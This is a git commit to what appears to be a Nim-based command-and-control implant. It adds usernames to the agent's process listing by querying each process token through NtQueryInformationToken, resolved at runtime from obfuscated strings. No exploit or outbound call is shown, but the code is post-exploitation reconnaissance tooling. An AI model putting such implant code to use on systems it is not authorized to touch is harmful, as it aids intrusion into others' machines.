Included user information in 'ps' command.
This commit is contained in:
@@ -57,4 +57,5 @@ The following projects and people have significantly inspired and/or helped with
|
|||||||
- Existing C2's written (partially) in Nim
|
- Existing C2's written (partially) in Nim
|
||||||
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
||||||
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
||||||
- [grc2](https://github.com/andreiverse/grc2)
|
- [grc2](https://github.com/andreiverse/grc2)
|
||||||
|
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)
|
||||||
@@ -75,7 +75,7 @@ proc sidToString(apis: Apis, sid: PSID): string =
|
|||||||
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
||||||
return $stringSid
|
return $stringSid
|
||||||
|
|
||||||
proc sidToName(apis: Apis, sid: PSID): string =
|
proc sidToName*(sid: PSID): string =
|
||||||
var
|
var
|
||||||
usernameSize: DWORD = 0
|
usernameSize: DWORD = 0
|
||||||
domainSize: DWORD = 0
|
domainSize: DWORD = 0
|
||||||
@@ -139,7 +139,7 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
return (sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||||
|
|
||||||
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||||
var
|
var
|
||||||
@@ -178,7 +178,7 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
|||||||
|
|
||||||
result &= fmt"Group memberships ({groupCount})" & "\n"
|
result &= fmt"Group memberships ({groupCount})" & "\n"
|
||||||
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||||
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
|
result &= fmt" - {apis.sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
|
||||||
|
|
||||||
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||||
var
|
var
|
||||||
|
|||||||
@@ -40,6 +40,7 @@ when defined(agent):
|
|||||||
import os, strutils, strformat, tables, algorithm
|
import os, strutils, strformat, tables, algorithm
|
||||||
import ../agent/utils/io
|
import ../agent/utils/io
|
||||||
import ../agent/protocol/result
|
import ../agent/protocol/result
|
||||||
|
import ../agent/core/token
|
||||||
|
|
||||||
# TODO: Add user context to process information
|
# TODO: Add user context to process information
|
||||||
type
|
type
|
||||||
@@ -47,8 +48,11 @@ when defined(agent):
|
|||||||
pid: DWORD
|
pid: DWORD
|
||||||
ppid: DWORD
|
ppid: DWORD
|
||||||
name: string
|
name: string
|
||||||
|
user: string
|
||||||
children: seq[DWORD]
|
children: seq[DWORD]
|
||||||
|
|
||||||
|
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||||
|
|
||||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
print " [>] Listing running processes."
|
print " [>] Listing running processes."
|
||||||
@@ -74,13 +78,44 @@ when defined(agent):
|
|||||||
raise newException(CatchableError, GetLastError().getError)
|
raise newException(CatchableError, GetLastError().getError)
|
||||||
|
|
||||||
while true:
|
while true:
|
||||||
|
# Retrieve information about the process
|
||||||
|
var
|
||||||
|
hToken: HANDLE
|
||||||
|
hProcess: HANDLE
|
||||||
|
user: string
|
||||||
|
|
||||||
|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID)
|
||||||
|
if hProcess != 0:
|
||||||
|
if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken):
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pUser: PTOKEN_USER
|
||||||
|
|
||||||
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pUser == NULL:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pUser))
|
||||||
|
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
|
user = sidToName(pUser.User.Sid)
|
||||||
|
|
||||||
var procInfo = ProcessInfo(
|
var procInfo = ProcessInfo(
|
||||||
pid: pe32.th32ProcessID,
|
pid: pe32.th32ProcessID,
|
||||||
ppid: pe32.th32ParentProcessID,
|
ppid: pe32.th32ParentProcessID,
|
||||||
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
||||||
|
user: user,
|
||||||
children: @[]
|
children: @[]
|
||||||
)
|
)
|
||||||
|
|
||||||
procMap[pe32.th32ProcessID] = procInfo
|
procMap[pe32.th32ProcessID] = procInfo
|
||||||
|
|
||||||
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
||||||
@@ -94,9 +129,9 @@ when defined(agent):
|
|||||||
processes.add(pid)
|
processes.add(pid)
|
||||||
|
|
||||||
# Add header row
|
# Add header row
|
||||||
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
|
let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("Username")]
|
||||||
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
|
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]}" & "\n"
|
||||||
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
|
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])) & "\n"
|
||||||
|
|
||||||
# Format and print process
|
# Format and print process
|
||||||
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
||||||
@@ -104,9 +139,9 @@ when defined(agent):
|
|||||||
return
|
return
|
||||||
|
|
||||||
var process = procMap[pid]
|
var process = procMap[pid]
|
||||||
let indent = " ".repeat(indentSpaces)
|
let processName = " ".repeat(indentSpaces) & process.name
|
||||||
|
|
||||||
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
|
output &= fmt"{process.pid:<10}{process.ppid:<10}{processName:<40}{process.user}" & "\n"
|
||||||
|
|
||||||
# Recursively print child processes with indentation
|
# Recursively print child processes with indentation
|
||||||
process.children.sort()
|
process.children.sort()
|
||||||
|
|||||||
Reference in New Issue
Block a user